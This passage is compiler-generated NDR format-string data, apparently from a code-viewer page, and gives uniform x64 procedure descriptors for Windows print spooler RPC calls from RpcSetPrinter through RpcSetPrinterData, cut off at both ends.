| /* 270 */ NdrFcShort( 0x0 ), /* 0 */ 327 | /* 272 */ NdrFcShort( 0x0 ), /* 0 */ 328 | /* 274 */ NdrFcShort( 0x0 ), /* 0 */ 329 | /* 276 */ NdrFcShort( 0x0 ), /* 0 */ 330 | 331 | /* Return value */ 332 | 333 | /* 278 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 334 | /* 280 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 335 | /* 282 */ 0x8, /* FC_LONG */ 336 | 0x0, /* 0 */ 337 | 338 | /* Procedure RpcSetPrinter */ 339 | 340 | /* 284 */ 0x0, /* 0 */ 341 | 0x48, /* Old Flags: */ 342 | /* 286 */ NdrFcLong( 0x0 ), /* 0 */ 343 | /* 290 */ NdrFcShort( 0x7 ), /* 7 */ 344 | /* 292 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 345 | /* 294 */ 0x32, /* FC_BIND_PRIMITIVE */ 346 | 0x0, /* 0 */ 347 | /* 296 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 348 | /* 298 */ NdrFcShort( 0x0 ), /* 0 */ 349 | /* 300 */ NdrFcShort( 0x8 ), /* 8 */ 350 | /* 302 */ 0x44, /* Oi2 Flags: has return, has ext, */ 351 | 0x1, /* 1 */ 352 | /* 304 */ 0xa, /* 10 */ 353 | 0x1, /* Ext Flags: new corr desc, */ 354 | /* 306 */ NdrFcShort( 0x0 ), /* 0 */ 355 | /* 308 */ NdrFcShort( 0x0 ), /* 0 */ 356 | /* 310 */ NdrFcShort( 0x0 ), /* 0 */ 357 | /* 312 */ NdrFcShort( 0x0 ), /* 0 */ 358 | 359 | /* Return value */ 360 | 361 | /* 314 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 362 | /* 316 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 363 | /* 318 */ 0x8, /* FC_LONG */ 364 | 0x0, /* 0 */ 365 | 366 | /* Procedure RpcGetPrinter */ 367 | 368 | /* 320 */ 0x0, /* 0 */ 369 | 0x48, /* Old Flags: */ 370 | /* 322 */ NdrFcLong( 0x0 ), /* 0 */ 371 | /* 326 */ NdrFcShort( 0x8 ), /* 8 */ 372 | /* 328 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 373 | /* 330 */ 0x32, /* FC_BIND_PRIMITIVE */ 374 | 0x0, /* 0 */ 375 | /* 332 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 376 | /* 334 */ NdrFcShort( 0x0 ), /* 0 */ 377 | /* 336 */ NdrFcShort( 0x8 ), /* 8 */ 378 | /* 338 */ 0x44, /* Oi2 Flags: has return, has ext, */ 379 | 0x1, /* 1 */ 380 | /* 340 */ 0xa, /* 10 */ 381 | 0x1, /* Ext Flags: new corr desc, */ 382 | /* 342 */ NdrFcShort( 0x0 ), /* 0 */ 383 | /* 344 */ NdrFcShort( 0x0 ), /* 0 */ 384 | /* 346 */ NdrFcShort( 0x0 ), /* 0 */ 385 | /* 348 */ NdrFcShort( 0x0 ), /* 0 */ 386 | 387 | /* Return value */ 388 | 389 | /* 350 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 390 | /* 352 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 391 | /* 354 */ 0x8, /* FC_LONG */ 392 | 0x0, /* 0 */ 393 | 394 | /* Procedure RpcAddPrinterDriver */ 395 | 396 | /* 356 */ 0x0, /* 0 */ 397 | 0x48, /* Old Flags: */ 398 | /* 358 */ NdrFcLong( 0x0 ), /* 0 */ 399 | /* 362 */ NdrFcShort( 0x9 ), /* 9 */ 400 | /* 364 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 401 | /* 366 */ 0x32, /* FC_BIND_PRIMITIVE */ 402 | 0x0, /* 0 */ 403 | /* 368 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 404 | /* 370 */ NdrFcShort( 0x0 ), /* 0 */ 405 | /* 372 */ NdrFcShort( 0x8 ), /* 8 */ 406 | /* 374 */ 0x44, /* Oi2 Flags: has return, has ext, */ 407 | 0x1, /* 1 */ 408 | /* 376 */ 0xa, /* 10 */ 409 | 0x1, /* Ext Flags: new corr desc, */ 410 | /* 378 */ NdrFcShort( 0x0 ), /* 0 */ 411 | /* 380 */ NdrFcShort( 0x0 ), /* 0 */ 412 | /* 382 */ NdrFcShort( 0x0 ), /* 0 */ 413 | /* 384 */ NdrFcShort( 0x0 ), /* 0 */ 414 | 415 | /* Return value */ 416 | 417 | /* 386 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 418 | /* 388 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 419 | /* 390 */ 0x8, /* FC_LONG */ 420 | 0x0, /* 0 */ 421 | 422 | /* Procedure RpcEnumPrinterDrivers */ 423 | 424 | /* 392 */ 0x0, /* 0 */ 425 | 0x48, /* Old Flags: */ 426 | /* 394 */ NdrFcLong( 0x0 ), /* 0 */ 427 | /* 398 */ NdrFcShort( 0xa ), /* 10 */ 428 | /* 400 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 429 | /* 402 */ 0x32, /* FC_BIND_PRIMITIVE */ 430 | 0x0, /* 0 */ 431 | /* 404 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 432 | /* 406 */ NdrFcShort( 0x0 ), /* 0 */ 433 | /* 408 */ NdrFcShort( 0x8 ), /* 8 */ 434 | /* 410 */ 0x44, /* Oi2 Flags: has return, has ext, */ 435 | 0x1, /* 1 */ 436 | /* 412 */ 0xa, /* 10 */ 437 | 0x1, /* Ext Flags: new corr desc, */ 438 | /* 414 */ NdrFcShort( 0x0 ), /* 0 */ 439 | /* 416 */ NdrFcShort( 0x0 ), /* 0 */ 440 | /* 418 */ NdrFcShort( 0x0 ), /* 0 */ 441 | /* 420 */ NdrFcShort( 0x0 ), /* 0 */ 442 | 443 | /* Return value */ 444 | 445 | /* 422 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 446 | /* 424 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 447 | /* 426 */ 0x8, /* FC_LONG */ 448 | 0x0, /* 0 */ 449 | 450 | /* Procedure RpcGetPrinterDriver */ 451 | 452 | /* 428 */ 0x0, /* 0 */ 453 | 0x48, /* Old Flags: */ 454 | /* 430 */ NdrFcLong( 0x0 ), /* 0 */ 455 | /* 434 */ NdrFcShort( 0xb ), /* 11 */ 456 | /* 436 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 457 | /* 438 */ 0x32, /* FC_BIND_PRIMITIVE */ 458 | 0x0, /* 0 */ 459 | /* 440 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 460 | /* 442 */ NdrFcShort( 0x0 ), /* 0 */ 461 | /* 444 */ NdrFcShort( 0x8 ), /* 8 */ 462 | /* 446 */ 0x44, /* Oi2 Flags: has return, has ext, */ 463 | 0x1, /* 1 */ 464 | /* 448 */ 0xa, /* 10 */ 465 | 0x1, /* Ext Flags: new corr desc, */ 466 | /* 450 */ NdrFcShort( 0x0 ), /* 0 */ 467 | /* 452 */ NdrFcShort( 0x0 ), /* 0 */ 468 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */ 469 | /* 456 */ NdrFcShort( 0x0 ), /* 0 */ 470 | 471 | /* Return value */ 472 | 473 | /* 458 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 474 | /* 460 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 475 | /* 462 */ 0x8, /* FC_LONG */ 476 | 0x0, /* 0 */ 477 | 478 | /* Procedure RpcGetPrinterDriverDirectory */ 479 | 480 | /* 464 */ 0x0, /* 0 */ 481 | 0x48, /* Old Flags: */ 482 | /* 466 */ NdrFcLong( 0x0 ), /* 0 */ 483 | /* 470 */ NdrFcShort( 0xc ), /* 12 */ 484 | /* 472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 485 | /* 474 */ 0x32, /* FC_BIND_PRIMITIVE */ 486 | 0x0, /* 0 */ 487 | /* 476 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 488 | /* 478 */ NdrFcShort( 0x0 ), /* 0 */ 489 | /* 480 */ NdrFcShort( 0x8 ), /* 8 */ 490 | /* 482 */ 0x44, /* Oi2 Flags: has return, has ext, */ 491 | 0x1, /* 1 */ 492 | /* 484 */ 0xa, /* 10 */ 493 | 0x1, /* Ext Flags: new corr desc, */ 494 | /* 486 */ NdrFcShort( 0x0 ), /* 0 */ 495 | /* 488 */ NdrFcShort( 0x0 ), /* 0 */ 496 | /* 490 */ NdrFcShort( 0x0 ), /* 0 */ 497 | /* 492 */ NdrFcShort( 0x0 ), /* 0 */ 498 | 499 | /* Return value */ 500 | 501 | /* 494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 502 | /* 496 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 503 | /* 498 */ 0x8, /* FC_LONG */ 504 | 0x0, /* 0 */ 505 | 506 | /* Procedure RpcDeletePrinterDriver */ 507 | 508 | /* 500 */ 0x0, /* 0 */ 509 | 0x48, /* Old Flags: */ 510 | /* 502 */ NdrFcLong( 0x0 ), /* 0 */ 511 | /* 506 */ NdrFcShort( 0xd ), /* 13 */ 512 | /* 508 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 513 | /* 510 */ 0x32, /* FC_BIND_PRIMITIVE */ 514 | 0x0, /* 0 */ 515 | /* 512 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 516 | /* 514 */ NdrFcShort( 0x0 ), /* 0 */ 517 | /* 516 */ NdrFcShort( 0x8 ), /* 8 */ 518 | /* 518 */ 0x44, /* Oi2 Flags: has return, has ext, */ 519 | 0x1, /* 1 */ 520 | /* 520 */ 0xa, /* 10 */ 521 | 0x1, /* Ext Flags: new corr desc, */ 522 | /* 522 */ NdrFcShort( 0x0 ), /* 0 */ 523 | /* 524 */ NdrFcShort( 0x0 ), /* 0 */ 524 | /* 526 */ NdrFcShort( 0x0 ), /* 0 */ 525 | /* 528 */ NdrFcShort( 0x0 ), /* 0 */ 526 | 527 | /* Return value */ 528 | 529 | /* 530 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 530 | /* 532 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 531 | /* 534 */ 0x8, /* FC_LONG */ 532 | 0x0, /* 0 */ 533 | 534 | /* Procedure RpcAddPrintProcessor */ 535 | 536 | /* 536 */ 0x0, /* 0 */ 537 | 0x48, /* Old Flags: */ 538 | /* 538 */ NdrFcLong( 0x0 ), /* 0 */ 539 | /* 542 */ NdrFcShort( 0xe ), /* 14 */ 540 | /* 544 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 541 | /* 546 */ 0x32, /* FC_BIND_PRIMITIVE */ 542 | 0x0, /* 0 */ 543 | /* 548 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 544 | /* 550 */ NdrFcShort( 0x0 ), /* 0 */ 545 | /* 552 */ NdrFcShort( 0x8 ), /* 8 */ 546 | /* 554 */ 0x44, /* Oi2 Flags: has return, has ext, */ 547 | 0x1, /* 1 */ 548 | /* 556 */ 0xa, /* 10 */ 549 | 0x1, /* Ext Flags: new corr desc, */ 550 | /* 558 */ NdrFcShort( 0x0 ), /* 0 */ 551 | /* 560 */ NdrFcShort( 0x0 ), /* 0 */ 552 | /* 562 */ NdrFcShort( 0x0 ), /* 0 */ 553 | /* 564 */ NdrFcShort( 0x0 ), /* 0 */ 554 | 555 | /* Return value */ 556 | 557 | /* 566 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 558 | /* 568 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 559 | /* 570 */ 0x8, /* FC_LONG */ 560 | 0x0, /* 0 */ 561 | 562 | /* Procedure RpcEnumPrintProcessors */ 563 | 564 | /* 572 */ 0x0, /* 0 */ 565 | 0x48, /* Old Flags: */ 566 | /* 574 */ NdrFcLong( 0x0 ), /* 0 */ 567 | /* 578 */ NdrFcShort( 0xf ), /* 15 */ 568 | /* 580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 569 | /* 582 */ 0x32, /* FC_BIND_PRIMITIVE */ 570 | 0x0, /* 0 */ 571 | /* 584 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 572 | /* 586 */ NdrFcShort( 0x0 ), /* 0 */ 573 | /* 588 */ NdrFcShort( 0x8 ), /* 8 */ 574 | /* 590 */ 0x44, /* Oi2 Flags: has return, has ext, */ 575 | 0x1, /* 1 */ 576 | /* 592 */ 0xa, /* 10 */ 577 | 0x1, /* Ext Flags: new corr desc, */ 578 | /* 594 */ NdrFcShort( 0x0 ), /* 0 */ 579 | /* 596 */ NdrFcShort( 0x0 ), /* 0 */ 580 | /* 598 */ NdrFcShort( 0x0 ), /* 0 */ 581 | /* 600 */ NdrFcShort( 0x0 ), /* 0 */ 582 | 583 | /* Return value */ 584 | 585 | /* 602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 586 | /* 604 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 587 | /* 606 */ 0x8, /* FC_LONG */ 588 | 0x0, /* 0 */ 589 | 590 | /* Procedure RpcGetPrintProcessorDirectory */ 591 | 592 | /* 608 */ 0x0, /* 0 */ 593 | 0x48, /* Old Flags: */ 594 | /* 610 */ NdrFcLong( 0x0 ), /* 0 */ 595 | /* 614 */ NdrFcShort( 0x10 ), /* 16 */ 596 | /* 616 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 597 | /* 618 */ 0x32, /* FC_BIND_PRIMITIVE */ 598 | 0x0, /* 0 */ 599 | /* 620 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 600 | /* 622 */ NdrFcShort( 0x0 ), /* 0 */ 601 | /* 624 */ NdrFcShort( 0x8 ), /* 8 */ 602 | /* 626 */ 0x44, /* Oi2 Flags: has return, has ext, */ 603 | 0x1, /* 1 */ 604 | /* 628 */ 0xa, /* 10 */ 605 | 0x1, /* Ext Flags: new corr desc, */ 606 | /* 630 */ NdrFcShort( 0x0 ), /* 0 */ 607 | /* 632 */ NdrFcShort( 0x0 ), /* 0 */ 608 | /* 634 */ NdrFcShort( 0x0 ), /* 0 */ 609 | /* 636 */ NdrFcShort( 0x0 ), /* 0 */ 610 | 611 | /* Return value */ 612 | 613 | /* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 614 | /* 640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 615 | /* 642 */ 0x8, /* FC_LONG */ 616 | 0x0, /* 0 */ 617 | 618 | /* Procedure RpcStartDocPrinter */ 619 | 620 | /* 644 */ 0x0, /* 0 */ 621 | 0x48, /* Old Flags: */ 622 | /* 646 */ NdrFcLong( 0x0 ), /* 0 */ 623 | /* 650 */ NdrFcShort( 0x11 ), /* 17 */ 624 | /* 652 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 625 | /* 654 */ 0x32, /* FC_BIND_PRIMITIVE */ 626 | 0x0, /* 0 */ 627 | /* 656 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 628 | /* 658 */ NdrFcShort( 0x0 ), /* 0 */ 629 | /* 660 */ NdrFcShort( 0x8 ), /* 8 */ 630 | /* 662 */ 0x44, /* Oi2 Flags: has return, has ext, */ 631 | 0x1, /* 1 */ 632 | /* 664 */ 0xa, /* 10 */ 633 | 0x1, /* Ext Flags: new corr desc, */ 634 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */ 635 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */ 636 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */ 637 | /* 672 */ NdrFcShort( 0x0 ), /* 0 */ 638 | 639 | /* Return value */ 640 | 641 | /* 674 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 642 | /* 676 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 643 | /* 678 */ 0x8, /* FC_LONG */ 644 | 0x0, /* 0 */ 645 | 646 | /* Procedure RpcStartPagePrinter */ 647 | 648 | /* 680 */ 0x0, /* 0 */ 649 | 0x48, /* Old Flags: */ 650 | /* 682 */ NdrFcLong( 0x0 ), /* 0 */ 651 | /* 686 */ NdrFcShort( 0x12 ), /* 18 */ 652 | /* 688 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 653 | /* 690 */ 0x32, /* FC_BIND_PRIMITIVE */ 654 | 0x0, /* 0 */ 655 | /* 692 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 656 | /* 694 */ NdrFcShort( 0x0 ), /* 0 */ 657 | /* 696 */ NdrFcShort( 0x8 ), /* 8 */ 658 | /* 698 */ 0x44, /* Oi2 Flags: has return, has ext, */ 659 | 0x1, /* 1 */ 660 | /* 700 */ 0xa, /* 10 */ 661 | 0x1, /* Ext Flags: new corr desc, */ 662 | /* 702 */ NdrFcShort( 0x0 ), /* 0 */ 663 | /* 704 */ NdrFcShort( 0x0 ), /* 0 */ 664 | /* 706 */ NdrFcShort( 0x0 ), /* 0 */ 665 | /* 708 */ NdrFcShort( 0x0 ), /* 0 */ 666 | 667 | /* Return value */ 668 | 669 | /* 710 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 670 | /* 712 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 671 | /* 714 */ 0x8, /* FC_LONG */ 672 | 0x0, /* 0 */ 673 | 674 | /* Procedure RpcWritePrinter */ 675 | 676 | /* 716 */ 0x0, /* 0 */ 677 | 0x48, /* Old Flags: */ 678 | /* 718 */ NdrFcLong( 0x0 ), /* 0 */ 679 | /* 722 */ NdrFcShort( 0x13 ), /* 19 */ 680 | /* 724 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 681 | /* 726 */ 0x32, /* FC_BIND_PRIMITIVE */ 682 | 0x0, /* 0 */ 683 | /* 728 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 684 | /* 730 */ NdrFcShort( 0x0 ), /* 0 */ 685 | /* 732 */ NdrFcShort( 0x8 ), /* 8 */ 686 | /* 734 */ 0x44, /* Oi2 Flags: has return, has ext, */ 687 | 0x1, /* 1 */ 688 | /* 736 */ 0xa, /* 10 */ 689 | 0x1, /* Ext Flags: new corr desc, */ 690 | /* 738 */ NdrFcShort( 0x0 ), /* 0 */ 691 | /* 740 */ NdrFcShort( 0x0 ), /* 0 */ 692 | /* 742 */ NdrFcShort( 0x0 ), /* 0 */ 693 | /* 744 */ NdrFcShort( 0x0 ), /* 0 */ 694 | 695 | /* Return value */ 696 | 697 | /* 746 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 698 | /* 748 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 699 | /* 750 */ 0x8, /* FC_LONG */ 700 | 0x0, /* 0 */ 701 | 702 | /* Procedure RpcEndPagePrinter */ 703 | 704 | /* 752 */ 0x0, /* 0 */ 705 | 0x48, /* Old Flags: */ 706 | /* 754 */ NdrFcLong( 0x0 ), /* 0 */ 707 | /* 758 */ NdrFcShort( 0x14 ), /* 20 */ 708 | /* 760 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 709 | /* 762 */ 0x32, /* FC_BIND_PRIMITIVE */ 710 | 0x0, /* 0 */ 711 | /* 764 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 712 | /* 766 */ NdrFcShort( 0x0 ), /* 0 */ 713 | /* 768 */ NdrFcShort( 0x8 ), /* 8 */ 714 | /* 770 */ 0x44, /* Oi2 Flags: has return, has ext, */ 715 | 0x1, /* 1 */ 716 | /* 772 */ 0xa, /* 10 */ 717 | 0x1, /* Ext Flags: new corr desc, */ 718 | /* 774 */ NdrFcShort( 0x0 ), /* 0 */ 719 | /* 776 */ NdrFcShort( 0x0 ), /* 0 */ 720 | /* 778 */ NdrFcShort( 0x0 ), /* 0 */ 721 | /* 780 */ NdrFcShort( 0x0 ), /* 0 */ 722 | 723 | /* Return value */ 724 | 725 | /* 782 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 726 | /* 784 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 727 | /* 786 */ 0x8, /* FC_LONG */ 728 | 0x0, /* 0 */ 729 | 730 | /* Procedure RpcAbortPrinter */ 731 | 732 | /* 788 */ 0x0, /* 0 */ 733 | 0x48, /* Old Flags: */ 734 | /* 790 */ NdrFcLong( 0x0 ), /* 0 */ 735 | /* 794 */ NdrFcShort( 0x15 ), /* 21 */ 736 | /* 796 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 737 | /* 798 */ 0x32, /* FC_BIND_PRIMITIVE */ 738 | 0x0, /* 0 */ 739 | /* 800 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 740 | /* 802 */ NdrFcShort( 0x0 ), /* 0 */ 741 | /* 804 */ NdrFcShort( 0x8 ), /* 8 */ 742 | /* 806 */ 0x44, /* Oi2 Flags: has return, has ext, */ 743 | 0x1, /* 1 */ 744 | /* 808 */ 0xa, /* 10 */ 745 | 0x1, /* Ext Flags: new corr desc, */ 746 | /* 810 */ NdrFcShort( 0x0 ), /* 0 */ 747 | /* 812 */ NdrFcShort( 0x0 ), /* 0 */ 748 | /* 814 */ NdrFcShort( 0x0 ), /* 0 */ 749 | /* 816 */ NdrFcShort( 0x0 ), /* 0 */ 750 | 751 | /* Return value */ 752 | 753 | /* 818 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 754 | /* 820 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 755 | /* 822 */ 0x8, /* FC_LONG */ 756 | 0x0, /* 0 */ 757 | 758 | /* Procedure RpcReadPrinter */ 759 | 760 | /* 824 */ 0x0, /* 0 */ 761 | 0x48, /* Old Flags: */ 762 | /* 826 */ NdrFcLong( 0x0 ), /* 0 */ 763 | /* 830 */ NdrFcShort( 0x16 ), /* 22 */ 764 | /* 832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 765 | /* 834 */ 0x32, /* FC_BIND_PRIMITIVE */ 766 | 0x0, /* 0 */ 767 | /* 836 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 768 | /* 838 */ NdrFcShort( 0x0 ), /* 0 */ 769 | /* 840 */ NdrFcShort( 0x8 ), /* 8 */ 770 | /* 842 */ 0x44, /* Oi2 Flags: has return, has ext, */ 771 | 0x1, /* 1 */ 772 | /* 844 */ 0xa, /* 10 */ 773 | 0x1, /* Ext Flags: new corr desc, */ 774 | /* 846 */ NdrFcShort( 0x0 ), /* 0 */ 775 | /* 848 */ NdrFcShort( 0x0 ), /* 0 */ 776 | /* 850 */ NdrFcShort( 0x0 ), /* 0 */ 777 | /* 852 */ NdrFcShort( 0x0 ), /* 0 */ 778 | 779 | /* Return value */ 780 | 781 | /* 854 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 782 | /* 856 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 783 | /* 858 */ 0x8, /* FC_LONG */ 784 | 0x0, /* 0 */ 785 | 786 | /* Procedure RpcEndDocPrinter */ 787 | 788 | /* 860 */ 0x0, /* 0 */ 789 | 0x48, /* Old Flags: */ 790 | /* 862 */ NdrFcLong( 0x0 ), /* 0 */ 791 | /* 866 */ NdrFcShort( 0x17 ), /* 23 */ 792 | /* 868 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 793 | /* 870 */ 0x32, /* FC_BIND_PRIMITIVE */ 794 | 0x0, /* 0 */ 795 | /* 872 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 796 | /* 874 */ NdrFcShort( 0x0 ), /* 0 */ 797 | /* 876 */ NdrFcShort( 0x8 ), /* 8 */ 798 | /* 878 */ 0x44, /* Oi2 Flags: has return, has ext, */ 799 | 0x1, /* 1 */ 800 | /* 880 */ 0xa, /* 10 */ 801 | 0x1, /* Ext Flags: new corr desc, */ 802 | /* 882 */ NdrFcShort( 0x0 ), /* 0 */ 803 | /* 884 */ NdrFcShort( 0x0 ), /* 0 */ 804 | /* 886 */ NdrFcShort( 0x0 ), /* 0 */ 805 | /* 888 */ NdrFcShort( 0x0 ), /* 0 */ 806 | 807 | /* Return value */ 808 | 809 | /* 890 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 810 | /* 892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 811 | /* 894 */ 0x8, /* FC_LONG */ 812 | 0x0, /* 0 */ 813 | 814 | /* Procedure RpcAddJob */ 815 | 816 | /* 896 */ 0x0, /* 0 */ 817 | 0x48, /* Old Flags: */ 818 | /* 898 */ NdrFcLong( 0x0 ), /* 0 */ 819 | /* 902 */ NdrFcShort( 0x18 ), /* 24 */ 820 | /* 904 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 821 | /* 906 */ 0x32, /* FC_BIND_PRIMITIVE */ 822 | 0x0, /* 0 */ 823 | /* 908 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 824 | /* 910 */ NdrFcShort( 0x0 ), /* 0 */ 825 | /* 912 */ NdrFcShort( 0x8 ), /* 8 */ 826 | /* 914 */ 0x44, /* Oi2 Flags: has return, has ext, */ 827 | 0x1, /* 1 */ 828 | /* 916 */ 0xa, /* 10 */ 829 | 0x1, /* Ext Flags: new corr desc, */ 830 | /* 918 */ NdrFcShort( 0x0 ), /* 0 */ 831 | /* 920 */ NdrFcShort( 0x0 ), /* 0 */ 832 | /* 922 */ NdrFcShort( 0x0 ), /* 0 */ 833 | /* 924 */ NdrFcShort( 0x0 ), /* 0 */ 834 | 835 | /* Return value */ 836 | 837 | /* 926 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 838 | /* 928 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 839 | /* 930 */ 0x8, /* FC_LONG */ 840 | 0x0, /* 0 */ 841 | 842 | /* Procedure RpcScheduleJob */ 843 | 844 | /* 932 */ 0x0, /* 0 */ 845 | 0x48, /* Old Flags: */ 846 | /* 934 */ NdrFcLong( 0x0 ), /* 0 */ 847 | /* 938 */ NdrFcShort( 0x19 ), /* 25 */ 848 | /* 940 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 849 | /* 942 */ 0x32, /* FC_BIND_PRIMITIVE */ 850 | 0x0, /* 0 */ 851 | /* 944 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 852 | /* 946 */ NdrFcShort( 0x0 ), /* 0 */ 853 | /* 948 */ NdrFcShort( 0x8 ), /* 8 */ 854 | /* 950 */ 0x44, /* Oi2 Flags: has return, has ext, */ 855 | 0x1, /* 1 */ 856 | /* 952 */ 0xa, /* 10 */ 857 | 0x1, /* Ext Flags: new corr desc, */ 858 | /* 954 */ NdrFcShort( 0x0 ), /* 0 */ 859 | /* 956 */ NdrFcShort( 0x0 ), /* 0 */ 860 | /* 958 */ NdrFcShort( 0x0 ), /* 0 */ 861 | /* 960 */ NdrFcShort( 0x0 ), /* 0 */ 862 | 863 | /* Return value */ 864 | 865 | /* 962 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 866 | /* 964 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 867 | /* 966 */ 0x8, /* FC_LONG */ 868 | 0x0, /* 0 */ 869 | 870 | /* Procedure RpcGetPrinterData */ 871 | 872 | /* 968 */ 0x0, /* 0 */ 873 | 0x48, /* Old Flags: */ 874 | /* 970 */ NdrFcLong( 0x0 ), /* 0 */ 875 | /* 974 */ NdrFcShort( 0x1a ), /* 26 */ 876 | /* 976 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 877 | /* 978 */ 0x32, /* FC_BIND_PRIMITIVE */ 878 | 0x0, /* 0 */ 879 | /* 980 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 880 | /* 982 */ NdrFcShort( 0x0 ), /* 0 */ 881 | /* 984 */ NdrFcShort( 0x8 ), /* 8 */ 882 | /* 986 */ 0x44, /* Oi2 Flags: has return, has ext, */ 883 | 0x1, /* 1 */ 884 | /* 988 */ 0xa, /* 10 */ 885 | 0x1, /* Ext Flags: new corr desc, */ 886 | /* 990 */ NdrFcShort( 0x0 ), /* 0 */ 887 | /* 992 */ NdrFcShort( 0x0 ), /* 0 */ 888 | /* 994 */ NdrFcShort( 0x0 ), /* 0 */ 889 | /* 996 */ NdrFcShort( 0x0 ), /* 0 */ 890 | 891 | /* Return value */ 892 | 893 | /* 998 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 894 | /* 1000 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 895 | /* 1002 */ 0x8, /* FC_LONG */ 896 | 0x0, /* 0 */ 897 | 898 | /* Procedure RpcSetPrinterData */ 899 | 900 | /* 1004 */ 0x0, /* 0 */ 901 | 0x48, /* Old Flags: */ 902 | /* 1006 */ NdrFcLong( 0x0 ), /* 0 */ 903 | /* 1010 */ NdrFcShort( 0x1b ), /* 27 */ 904 | /* 1012 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 905 | /* 1014 */ 0x32, /* FC_BIND_PRIMITIVE */ 906 | 0x0, /* 0 */ 907 | /* 1016 */ NdrFcShort( 0x0 